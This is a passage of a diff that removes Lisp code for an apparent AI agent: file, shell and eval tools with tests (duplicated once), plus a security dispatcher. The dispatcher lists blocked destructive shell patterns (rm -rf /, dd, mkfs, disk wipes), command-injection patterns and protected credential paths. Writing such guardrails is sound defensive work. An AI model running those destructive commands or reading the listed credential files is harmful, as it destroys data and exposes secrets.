-                                            path)))
-                    (let ((base (file-namestring file)))
-                      (with-open-file (stream file :direction :input :if-does-not-exist nil)
-                        (when stream
-                          (loop for line = (read-line stream nil nil)
-                                for line-num from 1
-                                while line
-                                when (cl-ppcre:scan pattern line)
-                                do (push (format nil "~a:~d: ~a" base line-num (string-trim '(#\Space #\Tab) line))
-                                         results))))))
-                (t (c) (return (list :status :error :message (format nil "~a" c)))))
-              (list :status :success
-                    :content (if results
-                                 (format nil "~d matches:~%~a" (length results)
-                                         (format nil "~{~a~^~%~}" (reverse results)))
-                                 (format nil "No matches for '~a' in ~a" pattern path)))))))
-
-(def-cognitive-tool find-files
-  "Find files matching a glob pattern."
-  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
-   (:name "path" :description "Directory to search in." :type "string"))
-  :read-only-p t
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((pattern (getf args :pattern))
-                   (path (getf args :path)))
-              (unless (and pattern path)
-                (return (list :status :error :message "find-files requires :pattern and :path")))
-              (let ((full (merge-pathnames pattern path)))
-              (handler-case
-                  (let ((files (directory full)))
-                    (list :status :success
-                          :content (if files
-                                       (format nil "~d files:~%~{~a~^~%~}" (length files) files)
-                                       (format nil "No files matching '~a' in ~a" pattern path))))
-                (t (c) (list :status :error :message (format nil "~a" c)))))))))
-
-(def-cognitive-tool read-file
-  "Read the contents of a file."
-  ((:name "filepath" :description "Path to the file to read." :type "string")
-   (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
-   (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
-  :read-only-p t
-  :guard (lambda (args) (declare (ignore args)) nil)
-  :body (lambda (args)
-          (block nil
-            (let* ((filepath (getf args :filepath))
-                   (start (getf args :start))
-                   (limit (getf args :limit)))
-              (unless filepath
-                (return (list :status :error :message "read-file requires :filepath")))
-              (handler-case
-                  (let ((content (uiop:read-file-string filepath)))
-                    (if (or start limit)
-                        (let* ((lines (uiop:split-string content :separator '(#\Newline)))
-                               (start-idx (max 0 (1- (or start 1))))
-                               (end (if limit (min (length lines) (+ start-idx limit)) (length lines)))
-                               (selected (subseq lines start-idx end)))
-                          (list :status :success
-                                :content (format nil "~{~a~^~%~}" selected)))
-                        (list :status :success :content content)))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool write-file
-  "Write string content to a file. Created directories as needed."
-  ((:name "filepath" :description "Path to the file to write." :type "string")
-   (:name "content" :description "The text content to write." :type "string"))
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((filepath (getf args :filepath))
-                   (content (getf args :content)))
-              (unless (and filepath content)
-                (return (list :status :error :message "write-file requires :filepath and :content")))
-                (handler-case
-                    (progn
-                      (tools-write-file filepath content)
-                      (verify-write filepath content)
-                      (tool-register-modified filepath :new-content content)
-                      (list :status :success
-                           :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool list-directory
-  "List the contents of a directory."
-  ((:name "path" :description "Directory path to list." :type "string")
-    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-   :read-only-p t
-   :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((path (getf args :path))
-                   (pattern (getf args :pattern)))
-              (unless path
-                (return (list :status :error :message "list-directory requires :path")))
-              (let ((full-pattern (if pattern
-                                    (merge-pathnames pattern path)
-                                    (make-pathname :name :wild :type :wild :defaults path))))
-              (handler-case
-                  (let ((entries (directory full-pattern)))
-                    (list :status :success
-                          :content (if entries
-                                       (format nil "~d entries in ~a:~%~{~a~^~%~}" (length entries) path entries)
-                                       (format nil "No entries in ~a" path))))
-                (t (c) (list :status :error :message (format nil "~a" c)))))))))
-
-(def-cognitive-tool run-shell
-  "Execute a shell command and return stdout, stderr, and exit code."
-  ((:name "cmd" :description "The shell command to execute." :type "string")
-   (:name "timeout" :description "Optional timeout in seconds (default 30)." :type "integer"))
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((cmd (getf args :cmd))
-                   (timeout (or (getf args :timeout) 30)))
-              (unless cmd
-                (return (list :status :error :message "run-shell requires :cmd")))
-              (handler-case
-                  (multiple-value-bind (out err code)
-                      (uiop:run-program (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd)
-                                        :output :string :error-output :string
-                                        :ignore-error-status t)
-                    (list :status :success
-                          :content (format nil "~a~@[~%~%stderr:~%~a~]~%exit: ~d"
-                                           (or out "") (when (and err (> (length err) 0)) err) code)))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool eval-form
-  "Evaluate a Lisp expression in the running image and return the result."
-  ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
-  :read-only-p t
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((code (getf args :code)))
-              (unless code
-                (return (list :status :error :message "eval-form requires :code")))
-              (handler-case
-                  (let* ((*read-eval* nil)
-                         (form (read-from-string code))
-                         (result (eval form)))
-                    (list :status :success :content (format nil "~a" result)))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool run-tests
-  "Run FiveAM tests. With no arguments, runs all test suites."
-  ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
-  :read-only-p t
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((test-name (getf args :test-name)))
-              (handler-case
-                  (if test-name
-                      (let* ((sym (find-symbol (string-upcase test-name) :passepartout))
-                             (result (when sym (fiveam:run (intern (string-upcase test-name) :passepartout)))))
-                        (list :status :success
-                              :content (format nil "Test '~a' ~a" test-name
-                                               (if result "completed" "not found"))))
-                      (let ((result (fiveam:run-all-tests)))
-                        (list :status :success :content (format nil "~a" result))))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool org-find-headline
-  "Find an Org headline by ID or title in the memory store."
-  ((:name "id" :description "Optional: Org ID property to search for." :type "string")
-   (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
-  :read-only-p t
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((id (getf args :id))
-                   (title (getf args :title))
-                   (results nil))
-              (unless (or id title)
-                (return (list :status :error :message "org-find-headline requires :id or :title")))
-              (handler-case
-                  (let ((is-mem (find-symbol "MEMORY-OBJECT-P" :passepartout))
-                        (get-id (find-symbol "MEMORY-OBJECT-ID" :passepartout))
-                        (get-title (find-symbol "MEMORY-OBJECT-TITLE" :passepartout)))
-                    (unless (and is-mem get-id get-title)
-                      (return (list :status :error :message "Memory store not loaded")))
-                    (maphash (lambda (k obj)
-                               (declare (ignore k))
-                               (when (and (funcall is-mem obj)
-                                          (or (and id (string-equal id (funcall get-id obj)))
-                                              (and title (search title (funcall get-title obj) :test #'char-equal))))
-                                 (push obj results)))
-                             *memory-store*)
-                    (list :status :success
-                          :content (if results
-                                       (format nil "~d headlines found:~%~{~a~^~%~}"
-                                               (length results)
-                                               (mapcar (lambda (r) (funcall get-title r)) results))
-                                       (format nil "No headlines matching ~a" (or id title)))))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(def-cognitive-tool org-modify-file
-  "Replace text in an Org file via exact string match. Returns error if old-text not found."
-  ((:name "filepath" :description "Path to the Org file." :type "string")
-   (:name "old-text" :description "Exact text to replace." :type "string")
-   (:name "new-text" :description "Text to insert in its place." :type "string"))
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((filepath (getf args :filepath))
-                   (old-text (getf args :old-text))
-                   (new-text (getf args :new-text)))
-              (unless (and filepath old-text new-text)
-                (return (list :status :error :message "org-modify-file requires :filepath, :old-text, and :new-text")))
-              (handler-case
-                  (let ((content (uiop:read-file-string filepath)))
-                    (let ((pos (search old-text content)))
-                      (if pos
-                           (let ((new-content (concatenate 'string
-                                                           (subseq content 0 pos)
-                                                           new-text
-                                                           (subseq content (+ pos (length old-text))))))
-                             (tools-write-file filepath new-content)
-                             (tool-register-modified filepath :old-content content :new-content new-content)
-                             (list :status :success
-                                  :content (format nil "Replaced at position ~d in ~a" pos filepath)))
-                          (list :status :error :message (format nil "Text not found in ~a" filepath)))))
-                (error (c) (list :status :error :message (format nil "~a" c))))))))
-
-(defskill :passepartout-programming-tools
-  :priority 50
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
-  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-tools-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:programming-tools-suite))
-
-(in-package :passepartout-programming-tools-tests)
-
-(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
-(in-suite programming-tools-suite)
-
-(defun tools-tmpdir ()
-  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
-    (uiop:ensure-all-directories-exist (list d))
-    d))
-
-(defun tools-cleanup ()
-  (let ((d (tools-tmpdir)))
-    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
-
-(defun tools-write-file (filepath content)
-  (uiop:ensure-all-directories-exist (list filepath))
-  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
-    (write-string content stream)))
-
-(defun call-tool (tool-name &rest args)
-  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
-    (unless tool (error "Tool ~a not found" tool-name))
-    (funcall (cognitive-tool-body tool) args)))
-
-;; search-files
-(test test-search-files-finds-matches
-  "Contract 1: search-files finds lines matching a regex pattern."
-  (let* ((dir (tools-tmpdir))
-         (file-a (merge-pathnames "src-a.lisp" dir))
-         (file-b (merge-pathnames "src-b.lisp" dir)))
-    (tools-write-file file-a "(defun foo () 'hello)")
-    (tools-write-file file-b "(defun bar () 'world)")
-    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
-      (is (eq (getf result :status) :success))
-      (is (search "src-a.lisp:1:" (getf result :content)))
-      (is (search "src-b.lisp:1:" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-search-files-missing-params
-  "search-files returns error when required params are missing."
-  (let ((result (call-tool 'search-files :pattern "x")))
-    (is (eq (getf result :status) :error))))
-
-;; find-files
-(test test-find-files-by-extension
-  "Contract 5: find-files returns files matching a glob."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "c.org" dir) "test")
-    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "a.lisp" (getf result :content)))
-      (is (search "b.lisp" (getf result :content)))
-      (is (not (search "c.org" (getf result :content)))))
-    (tools-cleanup)))
-
-(test test-find-files-missing-params
-  "find-files returns error without required params."
-  (let ((result (call-tool 'find-files :pattern "*.lisp")))
-    (is (eq (getf result :status) :error))))
-
-;; read-file
-(test test-read-file-full
-  "Contract 6: read-file returns full file contents."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "readme.txt" dir)))
-    (tools-write-file file (format nil "line one~%line two~%line three"))
-    (let ((result (call-tool 'read-file :filepath (namestring file))))
-      (is (eq (getf result :status) :success))
-      (is (search "line one" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-read-file-missing-params
-  "read-file returns error without :filepath."
-  (let ((result (call-tool 'read-file)))
-    (is (eq (getf result :status) :error))))
-
-;; write-file
-(test test-write-file-creates
-  "Contract 7: write-file creates file with content."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "output.txt" dir)))
-    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
-      (is (eq (getf result :status) :success))
-      (is (search "11 bytes" (getf result :content))))
-    (is (string-equal "hello world" (uiop:read-file-string file)))
-    (tools-cleanup)))
-
-(test test-write-file-missing-params
-  "write-file returns error without required params."
-  (let ((result (call-tool 'write-file :content "x")))
-    (is (eq (getf result :status) :error))))
-
-;; list-directory
-(test test-list-directory-all
-  "Contract 8: list-directory returns all entries."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
-    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
-    (let ((result (call-tool 'list-directory :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "alpha.txt" (getf result :content)))
-      (is (search "beta.txt" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-list-directory-missing-params
-  "list-directory returns error without :path."
-  (let ((result (call-tool 'list-directory)))
-    (is (eq (getf result :status) :error))))
-
-;; run-shell
-(test test-run-shell-echo
-  "Contract 9: run-shell executes a command and returns output."
-  (let ((result (call-tool 'run-shell :cmd "echo hello")))
-    (is (eq (getf result :status) :success))
-    (is (search "hello" (getf result :content)))))
-
-(test test-run-shell-missing-params
-  "run-shell returns error without :cmd."
-  (let ((result (call-tool 'run-shell)))
-    (is (eq (getf result :status) :error))))
-
-;; eval-form
-(test test-eval-form-arithmetic
-  "Contract 10: eval-form evaluates a Lisp expression."
-  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (search "3" (getf result :content)))))
-
-(test test-eval-form-missing-params
-  "eval-form returns error without :code."
-  (let ((result (call-tool 'eval-form)))
-    (is (eq (getf result :status) :error))))
-
-;; org-modify-file
-(test test-org-modify-file-replace
-  "Contract 13: org-modify-file replaces exact text in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "doc.org" dir)))
-    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "TODO" :new-text "WAITING")))
-      (is (eq (getf result :status) :success))
-      (is (search "WAITING" (uiop:read-file-string file))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-not-found
-  "org-modify-file returns error when text not in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "file.org" dir)))
-    (tools-write-file file "some content")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "not-in-file" :new-text "anything")))
-      (is (eq (getf result :status) :error))
-      (is (search "not found" (getf result :message))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-missing-params
-  "org-modify-file returns error without required params."
-  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
-    (is (eq (getf result :status) :error))))
-#+end_src* v0.8.0 — Modified Files Tracking
-#+begin_src lisp
-(defvar *modified-files-this-turn* nil
-  "List of plists recording file modifications in the current turn.")
-
-(defun tool-register-modified (filepath &key old-content new-content)
-  "Record a file modification. Returns the record plist."
-  (labels ((count-lines (s)
-             (+ (count #\Newline s)
-                ;; Also count escaped \\n in string literals (used in tests)
-                (let ((n 0) (i 0))
-                  (loop while (setf i (search "\\n" s :start2 i))
-                        do (incf n) (incf i))
-                  n))))
-    (let* ((lines-added (if (and new-content old-content)
-                           (max 0 (- (count-lines new-content)
-                                     (count-lines old-content)))
-                           0))
-           (lines-removed (if (and new-content old-content)
-                             (max 0 (- (count-lines old-content)
-                                       (count-lines new-content)))
-                             0))
-           (rec (list :filepath filepath
-                     :timestamp (get-universal-time)
-                     :lines-added lines-added
-                     :lines-removed lines-removed)))
-      (push rec *modified-files-this-turn*)
-      rec)))
-
-(defun tool-modified-files-summary ()
-  "Returns the list of modified-file records and clears the list."
-  (prog1 (nreverse *modified-files-this-turn*)
-    (setf *modified-files-this-turn* nil)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-tools-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:programming-tools-suite))
-
-(in-package :passepartout-programming-tools-tests)
-
-(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
-(in-suite programming-tools-suite)
-
-(defun tools-tmpdir ()
-  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
-    (uiop:ensure-all-directories-exist (list d))
-    d))
-
-(defun tools-cleanup ()
-  (let ((d (tools-tmpdir)))
-    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
-
-(defun tools-write-file (filepath content)
-  (uiop:ensure-all-directories-exist (list filepath))
-  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
-    (write-string content stream)))
-
-(defun call-tool (tool-name &rest args)
-  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
-    (unless tool (error "Tool ~a not found" tool-name))
-    (funcall (cognitive-tool-body tool) args)))
-
-;; search-files
-(test test-search-files-finds-matches
-  "Contract 1: search-files finds lines matching a regex pattern."
-  (let* ((dir (tools-tmpdir))
-         (file-a (merge-pathnames "src-a.lisp" dir))
-         (file-b (merge-pathnames "src-b.lisp" dir)))
-    (tools-write-file file-a "(defun foo () 'hello)")
-    (tools-write-file file-b "(defun bar () 'world)")
-    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
-      (is (eq (getf result :status) :success))
-      (is (search "src-a.lisp:1:" (getf result :content)))
-      (is (search "src-b.lisp:1:" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-search-files-missing-params
-  "search-files returns error when required params are missing."
-  (let ((result (call-tool 'search-files :pattern "x")))
-    (is (eq (getf result :status) :error))))
-
-;; find-files
-(test test-find-files-by-extension
-  "Contract 5: find-files returns files matching a glob."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
-    (tools-write-file (merge-pathnames "c.org" dir) "test")
-    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "a.lisp" (getf result :content)))
-      (is (search "b.lisp" (getf result :content)))
-      (is (not (search "c.org" (getf result :content)))))
-    (tools-cleanup)))
-
-(test test-find-files-missing-params
-  "find-files returns error without required params."
-  (let ((result (call-tool 'find-files :pattern "*.lisp")))
-    (is (eq (getf result :status) :error))))
-
-;; read-file
-(test test-read-file-full
-  "Contract 6: read-file returns full file contents."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "readme.txt" dir)))
-    (tools-write-file file (format nil "line one~%line two~%line three"))
-    (let ((result (call-tool 'read-file :filepath (namestring file))))
-      (is (eq (getf result :status) :success))
-      (is (search "line one" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-read-file-missing-params
-  "read-file returns error without :filepath."
-  (let ((result (call-tool 'read-file)))
-    (is (eq (getf result :status) :error))))
-
-;; write-file
-(test test-write-file-creates
-  "Contract 7: write-file creates file with content."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "output.txt" dir)))
-    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
-      (is (eq (getf result :status) :success))
-      (is (search "11 bytes" (getf result :content))))
-    (is (string-equal "hello world" (uiop:read-file-string file)))
-    (tools-cleanup)))
-
-(test test-write-file-missing-params
-  "write-file returns error without required params."
-  (let ((result (call-tool 'write-file :content "x")))
-    (is (eq (getf result :status) :error))))
-
-;; list-directory
-(test test-list-directory-all
-  "Contract 8: list-directory returns all entries."
-  (let ((dir (tools-tmpdir)))
-    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
-    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
-    (let ((result (call-tool 'list-directory :path (namestring dir))))
-      (is (eq (getf result :status) :success))
-      (is (search "alpha.txt" (getf result :content)))
-      (is (search "beta.txt" (getf result :content))))
-    (tools-cleanup)))
-
-(test test-list-directory-missing-params
-  "list-directory returns error without :path."
-  (let ((result (call-tool 'list-directory)))
-    (is (eq (getf result :status) :error))))
-
-;; run-shell
-(test test-run-shell-echo
-  "Contract 9: run-shell executes a command and returns output."
-  (let ((result (call-tool 'run-shell :cmd "echo hello")))
-    (is (eq (getf result :status) :success))
-    (is (search "hello" (getf result :content)))))
-
-(test test-run-shell-missing-params
-  "run-shell returns error without :cmd."
-  (let ((result (call-tool 'run-shell)))
-    (is (eq (getf result :status) :error))))
-
-;; eval-form
-(test test-eval-form-arithmetic
-  "Contract 10: eval-form evaluates a Lisp expression."
-  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (search "3" (getf result :content)))))
-
-(test test-eval-form-missing-params
-  "eval-form returns error without :code."
-  (let ((result (call-tool 'eval-form)))
-    (is (eq (getf result :status) :error))))
-
-;; org-modify-file
-(test test-org-modify-file-replace
-  "Contract 13: org-modify-file replaces exact text in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "doc.org" dir)))
-    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "TODO" :new-text "WAITING")))
-      (is (eq (getf result :status) :success))
-      (is (search "WAITING" (uiop:read-file-string file))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-not-found
-  "org-modify-file returns error when text not in file."
-  (let* ((dir (tools-tmpdir))
-         (file (merge-pathnames "file.org" dir)))
-    (tools-write-file file "some content")
-    (let ((result (call-tool 'org-modify-file
-                             :filepath (namestring file)
-                             :old-text "not-in-file" :new-text "anything")))
-      (is (eq (getf result :status) :error))
-      (is (search "not found" (getf result :message))))
-    (tools-cleanup)))
-
-(test test-org-modify-file-missing-params
-  "org-modify-file returns error without required params."
-  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
-    (is (eq (getf result :status) :error))))
-#+end_src* v0.8.0 — Modified Files Tracking
-#+begin_src lisp
-(defvar *modified-files-this-turn* nil
-  "List of plists recording file modifications in the current turn.")
-
-(defun tool-register-modified (filepath &key old-content new-content)
-  "Record a file modification. Returns the record plist."
-  (labels ((count-lines (s)
-             (+ (count #\Newline s)
-                ;; Also count escaped \\n in string literals (used in tests)
-                (let ((n 0) (i 0))
-                  (loop while (setf i (search "\\n" s :start2 i))
-                        do (incf n) (incf i))
-                  n))))
-    (let* ((lines-added (if (and new-content old-content)
-                           (max 0 (- (count-lines new-content)
-                                     (count-lines old-content)))
-                           0))
-           (lines-removed (if (and new-content old-content)
-                             (max 0 (- (count-lines old-content)
-                                       (count-lines new-content)))
-                             0))
-           (rec (list :filepath filepath
-                     :timestamp (get-universal-time)
-                     :lines-added lines-added
-                     :lines-removed lines-removed)))
-      (push rec *modified-files-this-turn*)
-      rec)))
-
-(defun tool-modified-files-summary ()
-  "Returns the list of modified-file records and clears the list."
-  (prog1 (nreverse *modified-files-this-turn*)
-    (setf *modified-files-this-turn* nil)))
-
-(in-package :passepartout-programming-tools-tests)
-
-(test test-modified-files-track-write
-  "Contract 14: tool-register-modified appends to *modified-files-this-turn*."
-  (setf passepartout::*modified-files-this-turn* nil)
-  (let ((rec (passepartout::tool-register-modified "/tmp/test.org"
-                :old-content "old" :new-content "line1
-line2")))
-    (is (string= "/tmp/test.org" (getf rec :filepath)))
-    (is (= 0 (getf rec :lines-removed)))
-    (is (= 1 (getf rec :lines-added)))
-    (is (= 1 (length passepartout::*modified-files-this-turn*)))))
-
-(test test-modified-files-summary
-  "Contract 15: tool-modified-files-summary returns list and clears."
-  (setf passepartout::*modified-files-this-turn* nil)
-  (passepartout::tool-register-modified "/tmp/a.org")
-  (passepartout::tool-register-modified "/tmp/b.org")
-  (let ((files (passepartout::tool-modified-files-summary)))
-    (is (= 2 (length files)))
-    (is (null passepartout::*modified-files-this-turn*))
-    (is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
-
-(test test-modified-files-empty
-  "Contract 15: tool-modified-files-summary returns nil when no files modified."
-  (setf passepartout::*modified-files-this-turn* nil)
-  (is (null (passepartout::tool-modified-files-summary))))

lisp/security-dispatcher.lisp

@@ -1,956 +0,0 @@
-(in-package :passepartout)
-
-(defvar *dispatcher-network-whitelist*
-  '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
-  "Domains the Dispatcher considers safe for outbound connections.")
-
-(defvar *dispatcher-privacy-tags*
-  (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
-    (if env
-        (uiop:split-string env :separator '(#\,))
-        '("@personal")))
-  "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
-
-(defvar *dispatcher-protected-paths*
-  '(".env" ".env.example" ".env.local" ".env.production"
-    "*credentials*" "*cred*"
-    "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
-    "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
-    "secring.*" "pubring.*" "private-keys-v1.d/*"
-    "token*" "*secret*" "*token*"
-    ".netrc" ".git-credentials" "auth.json"
-    ".aws/credentials" ".aws/config"
-    ".kube/config" "kubeconfig"
-    "*.cert" "*.crt" "*.csr"
-    "*password*" "*passwd*")
-  "Path patterns blocked from file reads.
-Core file protection (core-*.org, core-*.lisp) handled separately by
-dispatcher-check-core-path for self-build safety.")
-
-(defvar *dispatcher-exposure-patterns*
-  '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
-    (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
-    (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
-    (:openai-key "sk-[A-Za-z0-9-]{20,}")
-    (:google-key "AIza[0-9A-Za-z_-]{35}")
-    (:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
-    (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
-    (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
-    (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
-  "Named regex patterns for secret exposure detection.")
-
-(defvar *dispatcher-shell-timeout* 30
-  "Maximum seconds for a shell command before timeout.")
-
-(defvar *dispatcher-shell-max-output* 100000
-  "Maximum characters of shell output to capture.")
-
-(defvar *dispatcher-shell-blocked*
-  '((:destructive-rm    "\\brm\\s+-rf\\s+/"                                     :severity :catastrophic)
-    (:destructive-dd    "\\bdd\\s+if="                                           :severity :catastrophic)
-    (:destructive-mkfs  "\\bmkfs\\."                                            :severity :catastrophic)
-    (:disk-wipe         "\\bshred\\s+/dev/"                                     :severity :catastrophic)
-    (:disk-wipe-b       "\\bwipefs\\s+/dev/"                                    :severity :catastrophic)
-    (:injection-backtick "`[^`]+`"                                              :severity :dangerous)
-    (:injection-subshell "\\$\\([^)]+\\)"                                        :severity :dangerous))
-  "Destructive and injection patterns blocked in shell commands.
-Each entry is (name regex :severity tier) where tier is one of:
-:catastrophic, :dangerous, :moderate, :harmless.")
-
-(defun wildcard-match (pattern path)
-  "Matches PATH against PATTERN where * matches any characters."
-  (let ((regex (cl-ppcre:regex-replace-all
-                "\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
-    (cl-ppcre:scan regex path)))
-
-(defun dispatcher-check-core-path (filepath)
-  "Returns T if FILEPATH matches a core-* self-build protected pattern."
-  (when (and filepath (stringp filepath))
-    (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
-        (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
-
-(defun dispatcher-check-secret-path (filepath)
-  "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
-  (when (and filepath (stringp filepath))
-    (some (lambda (pattern)
-            (when (wildcard-match pattern filepath)
-              pattern))
-          *dispatcher-protected-paths*)))
-
-(defun dispatcher-exposure-scan (text)
-  "Scans TEXT for patterns matching known secret formats.
-Returns a list of matched category keywords."
-  (when (and text (stringp text) (> (length text) 0))
-    (let ((matches nil))
-      (dolist (entry *dispatcher-exposure-patterns*)
-        (let ((name (first entry))
-              (regex (second entry)))
-          (when (cl-ppcre:scan regex text)
-            (push name matches))))
-      matches)))
-
-(defun dispatcher-vault-scan (text)
-  "Scans TEXT for known secrets from the vault."
-  (when (and text (stringp text))
-    (let ((found-secret nil))
-      (maphash (lambda (key val)
-                 (when (and val (stringp val) (> (length val) 5))
-                   (when (search val text)
-                     (setf found-secret key))))
-               *vault-memory*)
-      found-secret)))
-
-(defun dispatcher-check-privacy-tags (tags-list)
-  "Returns T if any tag in TAGS-LIST matches a privacy filter tag."
-  (when (and tags-list (listp tags-list))
-    (some (lambda (tag)
-            (some (lambda (private)
-                    (or (string-equal tag private)
-                        (search private tag :test #'string-equal)))
-                  *dispatcher-privacy-tags*))
-          tags-list)))
-
-(defvar *tag-categories* nil
-  "Alist of (tag . severity) from TAG_CATEGORIES env var.
-Severity: :block (filter), :warn (log+include), :log (silent record).")
-
-(defvar *tag-trigger-count* (make-hash-table :test 'equal)
-  "Per-session count of how many times each tag was triggered.")
-
-(defun tag-trigger-record (tag)
-  "Increment the trigger count for TAG."
-  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
-
-(defun tag-categories-load ()
-  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
-  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
-                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
-    (setf *tag-categories*
-          (when raw
-            (mapcar (lambda (entry)
-                      (let ((parts (uiop:split-string entry :separator '(#\:))))
-                        (if (>= (length parts) 2)
-                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
-                            (cons entry :block))))
-                    (uiop:split-string raw :separator '(#\, #\;)))))))
-
-(defun tag-category-severity (tag)
-  "Return the severity keyword for TAG, or NIL if not found."
